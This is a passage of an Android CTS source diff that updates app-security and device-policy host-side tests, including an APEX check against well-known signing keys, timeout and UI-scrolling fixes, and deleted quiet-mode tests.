diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.permission.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.permission.avbpubkey
new file mode 100644
index 00000000000..9eaf8525963
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.permission.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.rkpd.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.rkpd.avbpubkey
new file mode 100644
index 00000000000..94d4e7090f4
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.rkpd.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.scheduling.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.scheduling.avbpubkey
new file mode 100644
index 00000000000..63bbfabc145
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.scheduling.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.uwb.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.uwb.avbpubkey
new file mode 100644
index 00000000000..ccdd6d65809
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.uwb.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.vibrator.drv2624.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.vibrator.drv2624.avbpubkey
new file mode 100644
index 00000000000..479a8686c7e
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.vibrator.drv2624.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.vibrator.sunfish.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.vibrator.sunfish.avbpubkey
new file mode 100644
index 00000000000..497aa290ec1
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.vibrator.sunfish.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.virt.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.virt.avbpubkey
new file mode 100644
index 00000000000..79ab8db4fc6
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.virt.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.vndk.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.vndk.avbpubkey
new file mode 100644
index 00000000000..f408d2b4945
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.vndk.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.android.wifi.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.android.wifi.avbpubkey
new file mode 100644
index 00000000000..e98ee34db08
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.android.wifi.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.google.cf.apex.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.google.cf.apex.avbpubkey
new file mode 100644
index 00000000000..1fc39e1175d
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.google.cf.apex.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/res/apexsigverify/com.google.emulated.camera.provider.hal.avbpubkey b/hostsidetests/appsecurity/res/apexsigverify/com.google.emulated.camera.provider.hal.avbpubkey
new file mode 100644
index 00000000000..0c28e11c7ed
--- /dev/null
+++ b/hostsidetests/appsecurity/res/apexsigverify/com.google.emulated.camera.provider.hal.avbpubkey
Binary files differ
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ApexSignatureVerificationTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ApexSignatureVerificationTest.java
index b73c8d75f99..844111e5dad 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ApexSignatureVerificationTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ApexSignatureVerificationTest.java
@@ -30,14 +30,13 @@ import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
import com.android.tradefed.util.FileUtil;
import com.android.tradefed.util.ZipUtil;
-import org.hamcrest.CustomTypeSafeMatcher;
-import org.hamcrest.Matcher;
+import com.google.common.truth.Expect;
+
import org.junit.AfterClass;
import org.junit.Before;
import org.junit.Ignore;
import org.junit.Rule;
import org.junit.Test;
-import org.junit.rules.ErrorCollector;
import org.junit.rules.TestRule;
import org.junit.runner.Description;
import org.junit.runner.RunWith;
@@ -87,7 +86,7 @@ public class ApexSignatureVerificationTest extends BaseHostJUnit4Test {
private ITestDevice mDevice;
@Rule
- public final ErrorCollector mErrorCollector = new ErrorCollector();
+ public final Expect mExpect = Expect.create();
@Before
public void setUp() throws Exception {
@@ -153,8 +152,8 @@ public class ApexSignatureVerificationTest extends BaseHostJUnit4Test {
while (it.hasNext()) {
final File wellKnownKey = (File) it.next();
- verifyPubKey("must not use well known pubkey", pubKeyFile,
- pubkeyShouldNotEqualTo(wellKnownKey));
+ mExpect.withMessage(entry.getKey() + " must not use well known pubkey")
+ .that(areKeysMatching(pubKeyFile, wellKnownKey)).isFalse();
}
}
}
@@ -192,7 +191,8 @@ public class ApexSignatureVerificationTest extends BaseHostJUnit4Test {
try {
apexes = mDevice.getActiveApexes();
for (ITestDevice.ApexInfo ap : apexes) {
- if (!ap.sourceDir.startsWith("/data/")) {
+ // Compressed APEXes on /system are decompressed to /data/apex/decompressed
+ if (!ap.sourceDir.startsWith("/data/apex/active")) {
mPreloadedApexPathMap.put(ap.name, ap.sourceDir);
}
}
@@ -279,24 +279,14 @@ public class ApexSignatureVerificationTest extends BaseHostJUnit4Test {
assertThat(mWellKnownKeyFileList).isNotEmpty();
}
- private <T> void verifyPubKey(String reason, T actual, Matcher<? super T> matcher) {
- mErrorCollector.checkThat(reason, actual, matcher);
- }
-
- private static Matcher<File> pubkeyShouldNotEqualTo(File wellknownKey) {
- return new CustomTypeSafeMatcher<File>("must not match well known key ") {
- @Override
- protected boolean matchesSafely(File actual) {
- boolean isMatchWellknownKey = false;
- try {
- isMatchWellknownKey = FileUtil.compareFileContents(actual, wellknownKey);
- } catch (IOException e) {
- e.printStackTrace();
- }
- // Assert fail if the keys matched
- return !isMatchWellknownKey;
- }
- };
+ private static boolean areKeysMatching(File pubkey, File wellknownKey) {
+ try {
+ return FileUtil.compareFileContents(pubkey, wellknownKey);
+ } catch (IOException e) {
+ throw new AssertionError(
+ "Failed to compare " + pubkey.getAbsolutePath() + " and "
+ + wellknownKey.getAbsolutePath());
+ }
}
/**
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java
index f712a95b1b8..a58bd7c476d 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java
@@ -33,6 +33,7 @@ import com.android.tradefed.testtype.junit4.DeviceTestRunOptions;
import org.junit.After;
import org.junit.Before;
+import org.junit.Ignore;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -43,6 +44,7 @@ import junitparams.Parameters;
@Presubmit
@RunWith(DeviceParameterizedRunner.class)
@AppModeFull
+@Ignore("b/303068306")
public final class ApkVerityInstallTest extends BaseAppSecurityTest {
private static final String PACKAGE_NAME = "android.appsecurity.cts.apkveritytestapp";
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
index 04603b3f9ed..ec265ef24b5 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
@@ -1468,12 +1468,12 @@ public class ClientTest {
private TestResult getResult() {
final TestResult result;
try {
- result = mResultQueue.poll(5, TimeUnit.SECONDS);
+ result = mResultQueue.poll(25, TimeUnit.SECONDS);
} catch (InterruptedException e) {
throw new RuntimeException(e);
}
if (result == null) {
- throw new IllegalStateException("Activity didn't receive a Result in 5 seconds");
+ throw new IllegalStateException("Activity didn't receive a Result in 25 seconds");
}
return result;
}
diff --git a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
index cd6cbb43019..4672943b419 100644
--- a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
@@ -117,16 +117,14 @@ public class StorageTest extends InstrumentationTestCase {
}
private void clearSpaceGeneric(UiDevice device) throws UiObjectNotFoundException {
- int i = device.findObjects(android.support.test.uiautomator.By.scrollable(true)).size();
- for (int j = 0; j < i; j++) {
- UiScrollable localObject = new UiScrollable(new UiSelector().scrollable(true).instance(j));
- ((UiScrollable) localObject).setMaxSearchSwipes(10);
- try {
- ((UiScrollable) localObject).scrollIntoView(
- new UiSelector().textContains("internal storage"));
- } catch (UiObjectNotFoundException localUiObjectNotFoundException) {
- // Scrolling can fail if the UI is not scrollable
- }
+ UiScrollable localObject = new UiScrollable(new UiSelector().scrollable(true));
+ assertNotNull("Cannot find scrollable object.", localObject);
+ ((UiScrollable) localObject).setMaxSearchSwipes(10);
+ try {
+ ((UiScrollable) localObject).scrollIntoView(
+ new UiSelector().textContains("internal storage"));
+ } catch (UiObjectNotFoundException localUiObjectNotFoundException) {
+ // Scrolling can fail if the UI is not scrollable
}
device.findObject(new UiSelector().textContains("internal storage")).click();
device.waitForIdle();
@@ -164,21 +162,16 @@ public class StorageTest extends InstrumentationTestCase {
}
private void clearSpaceCar(UiDevice device) throws UiObjectNotFoundException {
- String storageString = "internal storage";
- int i = device.findObjects(android.support.test.uiautomator.By.scrollable(true)).size();
- for (int j = 0; j < i; j++) {
- UiScrollable localObject = new UiScrollable(new UiSelector().scrollable(true).instance(j));
- localObject.setMaxSearchSwipes(10);
- try {
- boolean found = localObject.scrollTextIntoView(storageString);
- if (found) {
- break;
- }
- } catch (UiObjectNotFoundException localUiObjectNotFoundException) {
- // Scrolling can fail if the UI is not scrollable
- }
+ UiScrollable localObject = new UiScrollable(new UiSelector().scrollable(true));
+ assertNotNull("Cannot find scrollable object.", localObject);
+ ((UiScrollable) localObject).setMaxSearchSwipes(10);
+ try {
+ ((UiScrollable) localObject).scrollIntoView(
+ new UiSelector().textContains("internal storage"));
+ } catch (UiObjectNotFoundException localUiObjectNotFoundException) {
+ // Scrolling can fail if the UI is not scrollable
}
- device.findObject(new UiSelector().textContains(storageString)).click();
+ device.findObject(new UiSelector().textContains("internal storage")).click();
device.waitForIdle();
device.findObject(new UiSelector().textContains("Clear storage")).click();
diff --git a/hostsidetests/appsecurity/test-apps/rro/OverlayTarget/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/rro/OverlayTarget/AndroidManifest.xml
index 03e4f7df0fb..315a1d28e3a 100644
--- a/hostsidetests/appsecurity/test-apps/rro/OverlayTarget/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/rro/OverlayTarget/AndroidManifest.xml
@@ -20,6 +20,7 @@
<uses-library android:name="android.test.runner" />
<activity android:name=".OverlayTargetActivity" android:exported="false"
android:configChanges="@integer/config_changes_assets_paths" />
+ <activity android:name=".SimpleActivity" android:exported="true" />
<service android:name=".OverlayTargetService" android:exported="false" />
</application>
diff --git a/hostsidetests/appsecurity/test-apps/rro/OverlayTarget/src/com/android/cts/overlay/target/OverlayTargetTest.java b/hostsidetests/appsecurity/test-apps/rro/OverlayTarget/src/com/android/cts/overlay/target/OverlayTargetTest.java
index 938f1c41ffb..7c8b9e078a8 100644
--- a/hostsidetests/appsecurity/test-apps/rro/OverlayTarget/src/com/android/cts/overlay/target/OverlayTargetTest.java
+++ b/hostsidetests/appsecurity/test-apps/rro/OverlayTarget/src/com/android/cts/overlay/target/OverlayTargetTest.java
@@ -89,7 +89,7 @@ public class OverlayTargetTest {
public void overlayEnabled_activityInBackground_toForeground() throws Exception {
final OverlayTargetActivity targetActivity = mActivityTestRule.getActivity();
// Activity goes into background
- launchHome();
+ launchSimpleActivity();
mInstrumentation.waitForIdleSync();
final CountDownLatch latch = new CountDownLatch(1);
targetActivity.setConfigurationChangedCallback((activity, config) -> {
@@ -137,9 +137,11 @@ public class OverlayTargetTest {
() -> expected.equals(getStateForOverlay(overlayPackage)));
}
- private static void launchHome() {
- SystemUtil.runShellCommand("am start -W -a android.intent.action.MAIN"
- + " -c android.intent.category.HOME");
+ private void launchSimpleActivity() {
+ Intent intent = new Intent(Intent.ACTION_MAIN);
+ intent.setClass(mInstrumentation.getTargetContext(), SimpleActivity.class);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ mInstrumentation.startActivitySync(intent);
}
private static String getStateForOverlay(String overlayPackage) {
diff --git a/hostsidetests/appsecurity/test-apps/rro/OverlayTarget/src/com/android/cts/overlay/target/SimpleActivity.java b/hostsidetests/appsecurity/test-apps/rro/OverlayTarget/src/com/android/cts/overlay/target/SimpleActivity.java
new file mode 100644
index 00000000000..e580927105a
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/rro/OverlayTarget/src/com/android/cts/overlay/target/SimpleActivity.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.overlay.target;
+
+import android.app.Activity;
+
+/**
+ * Another activity doing nothing
+ */
+public class SimpleActivity extends Activity {
+}
diff --git a/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/QuietModeTest.java b/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/QuietModeTest.java
deleted file mode 100644
index 741f07778fd..00000000000
--- a/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/QuietModeTest.java
+++ /dev/null
@@ -1,305 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.launchertests;
-
-import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.setDefaultLauncher;
-
-import static junit.framework.Assert.assertFalse;
-import static junit.framework.Assert.assertNotNull;
-import static junit.framework.Assert.assertNull;
-import static junit.framework.Assert.assertTrue;
-import static junit.framework.Assert.fail;
-
-import static org.testng.Assert.assertEquals;
-import static org.testng.Assert.assertThrows;
-
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.os.Bundle;
-import android.os.UserHandle;
-import android.os.UserManager;
-import android.support.test.uiautomator.UiDevice;
-import android.text.TextUtils;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import com.android.bedstead.nene.utils.ShellCommand;
-import com.android.compatibility.common.util.BlockingBroadcastReceiver;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.Arrays;
-import java.util.Set;
-import java.util.concurrent.LinkedBlockingQueue;
-import java.util.concurrent.TimeUnit;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-import java.util.stream.Collectors;
-
-/**
- * Test that runs {@link UserManager#trySetQuietModeEnabled(boolean, UserHandle)} API
- * against valid target user.
- */
-@RunWith(AndroidJUnit4.class)
-public class QuietModeTest {
- private static final String PARAM_TARGET_USER = "TARGET_USER";
- private static final String PARAM_ORIGINAL_DEFAULT_LAUNCHER = "ORIGINAL_DEFAULT_LAUNCHER";
- private static final ComponentName LAUNCHER_ACTIVITY =
- new ComponentName(
- "com.android.cts.launchertests.support",
- "com.android.cts.launchertests.support.LauncherActivity");
-
- private static final ComponentName COMMAND_RECEIVER =
- new ComponentName(
- "com.android.cts.launchertests.support",
- "com.android.cts.launchertests.support.QuietModeCommandReceiver");
- private static final String EXTRA_FLAGS = "quiet_mode_flags";
-
- private UserManager mUserManager;
- private UserHandle mTargetUser;
- private Context mContext;
- private String mOriginalLauncher;
- private UiDevice mUiDevice;
-
- @Before
- public void setupUserManager() throws Exception {
- mContext = InstrumentationRegistry.getTargetContext();
- mUserManager = mContext.getSystemService(UserManager.class);
- }
-
- @Before
- public void readParams() {
- Context context = InstrumentationRegistry.getContext();
- Bundle arguments = InstrumentationRegistry.getArguments();
- UserManager userManager = context.getSystemService(UserManager.class);
- final int userSn = Integer.parseInt(arguments.getString(PARAM_TARGET_USER));
- mTargetUser = userManager.getUserForSerialNumber(userSn);
- mOriginalLauncher = arguments.getString(PARAM_ORIGINAL_DEFAULT_LAUNCHER);
- }
-
- @Before
- public void wakeupDeviceAndUnlock() throws Exception {
- mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
- mUiDevice.wakeUp();
- mUiDevice.pressMenu();
- }
-
- @Before
- @After
- public void revertToDefaultLauncher() throws Exception {
- if (TextUtils.isEmpty(mOriginalLauncher)) {
- return;
- }
- setDefaultLauncher(InstrumentationRegistry.getInstrumentation(), mOriginalLauncher);
- }
-
- @Test
- public void testTryEnableQuietMode_defaultForegroundLauncher() throws Exception {
- setTestAppAsDefaultLauncher();
- startLauncherActivityInTestApp();
-
- Intent intent = trySetQuietModeEnabled(true);
- assertNotNull("Failed to receive ACTION_MANAGED_PROFILE_UNAVAILABLE broadcast", intent);
- assertTrue(mUserManager.isQuietModeEnabled(mTargetUser));
-
- intent = trySetQuietModeEnabled(false);
- assertNotNull("Failed to receive ACTION_MANAGED_PROFILE_AVAILABLE broadcast", intent);
- assertFalse(mUserManager.isQuietModeEnabled(mTargetUser));
- }
-
- @Test
- public void testTryEnableQuietMode_notForegroundLauncher() throws InterruptedException {
- setTestAppAsDefaultLauncher();
-
- assertThrows(SecurityException.class, () -> trySetQuietModeEnabled(true));
- assertFalse(mUserManager.isQuietModeEnabled(mTargetUser));
- }
-
- @Test
- public void testTryEnableQuietMode_notDefaultLauncher() throws Exception {
- startLauncherActivityInTestApp();
-
- assertThrows(SecurityException.class, () -> trySetQuietModeEnabled(true));
- assertFalse(mUserManager.isQuietModeEnabled(mTargetUser));
- }
-
- @Test
- public void testTryEnableQuietMode_noCredentialRequest() throws Exception {
- setTestAppAsDefaultLauncher();
- startLauncherActivityInTestApp();
-
- Intent intent = trySetQuietModeEnabled(true,
- UserManager.QUIET_MODE_DISABLE_ONLY_IF_CREDENTIAL_NOT_REQUIRED, true);
- assertNotNull("Failed to receive ACTION_MANAGED_PROFILE_UNAVAILABLE broadcast", intent);
- assertTrue(mUserManager.isQuietModeEnabled(mTargetUser));
-
- if (!ShellCommand.builder("dumpsys device_policy").execute()
- .contains("Keep profiles running: true")) {
- waitForUserLocked();
- }
-
- intent = trySetQuietModeEnabled(false,
- UserManager.QUIET_MODE_DISABLE_ONLY_IF_CREDENTIAL_NOT_REQUIRED, false);
- assertNull("Received ACTION_MANAGED_PROFILE_AVAILABLE broadcast", intent);
- assertTrue(mUserManager.isQuietModeEnabled(mTargetUser));
- }
-
- private void waitForUserLocked() throws Exception {
- // Should match a line in "dumpsys mount" output like this:
- // Local unlocked users: [0, 10]
- final Pattern p = Pattern.compile("Local unlocked users: \\[(.*)\\]");
- final long deadline = System.nanoTime() + TimeUnit.SECONDS.toNanos(60);
- while (System.nanoTime() < deadline) {
- final String output = mUiDevice.executeShellCommand("dumpsys mount");
- final Matcher matcher = p.matcher(output);
- assertTrue("Unexpected dupmsys mount output: " + output, matcher.find());
- final Set<Integer> unlockedUsers = Arrays.stream(matcher.group(1).split(", "))
- .map(Integer::valueOf)
- .collect(Collectors.toSet());
- if (!unlockedUsers.contains(mTargetUser.getIdentifier())) {
- return;
- }
- Thread.sleep(500);
- }
- fail("Cannot get the profile locked");
- }
-
- private Intent trySetQuietModeEnabled(boolean enabled, int flags,
- boolean expectsCredentialsNotNeeded) throws Exception {
- return trySetQuietModeEnabled(enabled, true, flags, expectsCredentialsNotNeeded);
- }
-
- @Test
- public void testTryEnableQuietMode() throws Exception {
- setTestAppAsDefaultLauncher();
- startLauncherActivityInTestApp();
-
- Intent intent = trySetQuietModeEnabled(true);
- assertNotNull("Failed to receive ACTION_MANAGED_PROFILE_UNAVAILABLE broadcast", intent);
- assertTrue(mUserManager.isQuietModeEnabled(mTargetUser));
- }
-
- @Test
- public void testTryDisableQuietMode() throws Exception {
- setTestAppAsDefaultLauncher();
- startLauncherActivityInTestApp();
-
- Intent intent = trySetQuietModeEnabled(false);
- assertNotNull("Failed to receive ACTION_MANAGED_PROFILE_AVAILABLE broadcast", intent);
- assertFalse(mUserManager.isQuietModeEnabled(mTargetUser));
- }
-
- private Intent trySetQuietModeEnabled(boolean enabled) throws Exception {
- return trySetQuietModeEnabled(enabled, false, 0, true);
- }
-
- private Intent trySetQuietModeEnabled(boolean enabled, boolean hasFlags, int flags,
- boolean expectsCredentialsNotNeeded) throws Exception {
- final String action = enabled
- ? Intent.ACTION_MANAGED_PROFILE_UNAVAILABLE
- : Intent.ACTION_MANAGED_PROFILE_AVAILABLE;
-
- BlockingBroadcastReceiver receiver =
- new BlockingBroadcastReceiver(mContext, action);
- try {
- receiver.register();
-
- boolean credentialNotNeeded = askLauncherSupportAppToSetQuietMode(enabled, hasFlags,
- flags);
- assertEquals(credentialNotNeeded, expectsCredentialsNotNeeded);
- return receiver.awaitForBroadcast();
- } finally {
- receiver.unregisterQuietly();
- }
- }
-
- /**
- * Ask launcher support test app to set quiet mode by sending broadcast.
- * <p>
- * We cannot simply make this package the launcher and call the API because instrumentation
- * process would always considered to be in the foreground. The trick here is to send
- * broadcast to another test app which is launcher itself and call the API through it.
- * The receiver will then send back the result, and it should be either true, false or
- * security-exception.
- * <p>
- * All the constants defined here should be aligned with
- * com.android.cts.launchertests.support.QuietModeCommandReceiver.
- */
- private boolean askLauncherSupportAppToSetQuietMode(boolean enabled, boolean hasFlags, int flags) throws Exception {
- Intent intent = new Intent("toggle_quiet_mode");
- intent.setComponent(COMMAND_RECEIVER);
- intent.putExtra("quiet_mode", enabled);
- intent.putExtra(Intent.EXTRA_USER, mTargetUser);
- if (hasFlags) {
- intent.putExtra(EXTRA_FLAGS, flags);
- }
-
- // Ask launcher support app to set quiet mode by sending broadcast.
- LinkedBlockingQueue<String> blockingQueue = new LinkedBlockingQueue<>();
- mContext.sendOrderedBroadcast(intent, null, new BroadcastReceiver() {
- @Override
- public void onReceive(Context context, Intent intent) {
- blockingQueue.offer(getResultData());
- }
- }, null, 0, "", null);
-
- // Wait for the result.
- String result = null;
- for (int i = 0; i < 10; i++) {
- // Broadcast won't be delivered when the device is sleeping, so wake up the device
- // in between each attempt.
- wakeupDeviceAndUnlock();
- result = blockingQueue.poll(10, TimeUnit.SECONDS);
- if (!TextUtils.isEmpty(result)) {
- break;
- }
- }
-
- // Parse the result.
- assertNotNull(result);
- if ("true".equalsIgnoreCase(result)) {
- return true;
- } else if ("false".equalsIgnoreCase(result)) {
- return false;
- } else if ("security-exception".equals(result)) {
- throw new SecurityException();
- }
- throw new IllegalStateException("Unexpected result : " + result);
- }
-
- private void startActivitySync(String activity) throws Exception {
- mUiDevice.executeShellCommand("am start -W -n " + activity);
- }
-
- /**
- * Start the launcher activity in the test app to make it foreground.
- */
- private void startLauncherActivityInTestApp() throws Exception {
- startActivitySync(LAUNCHER_ACTIVITY.flattenToString());
- }
-
- private void setTestAppAsDefaultLauncher() {
- setDefaultLauncher(InstrumentationRegistry.getInstrumentation(),
- LAUNCHER_ACTIVITY.getPackageName());
- }
-}
-
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index 7aaacf39430..b66c2b42cd7 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -241,6 +241,7 @@ public abstract class DeviceAndProfileOwnerTest extends BaseDevicePolicyTest {
@RequiresDevice
@Test
public void testAlwaysOnVpn() throws Exception {
+ assumeIsNotWatch();
int userId = getUserIdForAlwaysOnVpnTests();
installAppAsUser(VPN_APP_APK, userId);
executeDeviceTestClassNoRestrictBackground(".AlwaysOnVpnTest", userId);
@@ -253,6 +254,7 @@ public abstract class DeviceAndProfileOwnerTest extends BaseDevicePolicyTest {
@RequiresDevice
@Test
public void testAlwaysOnVpnLockDown() throws Exception {
+ assumeIsNotWatch();
int userId = getUserIdForAlwaysOnVpnTests();
installAppAsUser(VPN_APP_APK, userId);
try {
@@ -267,6 +269,7 @@ public abstract class DeviceAndProfileOwnerTest extends BaseDevicePolicyTest {
@RequiresDevice
@Test
public void testAlwaysOnVpnAcrossReboot() throws Exception {
+ assumeIsNotWatch();
int userId = getUserIdForAlwaysOnVpnTests();
try {
installAppAsUser(VPN_APP_APK, userId);
@@ -286,6 +289,7 @@ public abstract class DeviceAndProfileOwnerTest extends BaseDevicePolicyTest {
@RequiresDevice
@Test
public void testAlwaysOnVpnPackageUninstalled() throws Exception {
+ assumeIsNotWatch();
int userId = getUserIdForAlwaysOnVpnTests();
installAppAsUser(VPN_APP_APK, userId);
try {
@@ -303,6 +307,7 @@ public abstract class DeviceAndProfileOwnerTest extends BaseDevicePolicyTest {
@RequiresDevice
@Test
public void testAlwaysOnVpnUnsupportedPackage() throws Exception {
+ assumeIsNotWatch();
int userId = getUserIdForAlwaysOnVpnTests();
try {
// Target SDK = 23: unsupported
@@ -328,6 +333,7 @@ public abstract class DeviceAndProfileOwnerTest extends BaseDevicePolicyTest {
@RequiresDevice
@Test
public void testAlwaysOnVpnUnsupportedPackageReplaced() throws Exception {
+ assumeIsNotWatch();
int userId = getUserIdForAlwaysOnVpnTests();
try {
// Target SDK = 24: supported
@@ -350,6 +356,7 @@ public abstract class DeviceAndProfileOwnerTest extends BaseDevicePolicyTest {
@RequiresDevice
@Test
public void testAlwaysOnVpnPackageLogged() throws Exception {
+ assumeIsNotWatch();
int userId = getUserIdForAlwaysOnVpnTests();
// Will be uninstalled in tearDown().
installAppAsUser(VPN_APP_APK, userId);
@@ -598,7 +605,7 @@ public abstract class DeviceAndProfileOwnerTest extends BaseDevicePolicyTest {
@Test
public void testSetMeteredDataDisabledPackages() throws Exception {
assumeHasWifiFeature();
- assumeFalse("is watch", hasDeviceFeature("android.hardware.type.watch"));
+ assumeIsNotWatch();
installAppAsUser(METERED_DATA_APP_APK, mUserId);
@@ -1567,4 +1574,8 @@ public abstract class DeviceAndProfileOwnerTest extends BaseDevicePolicyTest {
getDevice().executeShellCommand(
restricted ? RESTRICT_BACKGROUND_ON_CMD : RESTRICT_BACKGROUND_OFF_CMD);
}
+
+ private void assumeIsNotWatch() throws Exception {
+ assumeFalse("is watch", hasDeviceFeature("android.hardware.type.watch"));
+ }
}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java
deleted file mode 100644
index 2decdbba8a5..00000000000
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java
+++ /dev/null
@@ -1,273 +0,0 @@
-package com.android.cts.devicepolicy;
-
-import static com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.FEATURE_MANAGED_USERS;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.platform.test.annotations.LargeTest;
-
-import com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.RequiresAdditionalFeatures;
-import com.android.tradefed.device.DeviceNotAvailableException;
-
-import org.junit.Test;
-
-import java.io.FileNotFoundException;
-import java.util.HashMap;
-import java.util.Map;
-
-/**
- * CTS to verify toggling quiet mode in work profile by using
- * {@link android.os.UserManager#requestQuietModeEnabled(boolean, android.os.UserHandle)}.
- */
-@RequiresAdditionalFeatures({FEATURE_MANAGED_USERS})
-public final class QuietModeHostsideTest extends BaseDevicePolicyTest {
- private static final String TEST_PACKAGE = "com.android.cts.launchertests";
- private static final String TEST_CLASS = ".QuietModeTest";
- private static final String PARAM_TARGET_USER = "TARGET_USER";
- private static final String PARAM_ORIGINAL_DEFAULT_LAUNCHER = "ORIGINAL_DEFAULT_LAUNCHER";
- private static final String TEST_APK = "CtsLauncherAppsTests.apk";
-
- private static final String TEST_LAUNCHER_PACKAGE = "com.android.cts.launchertests.support";
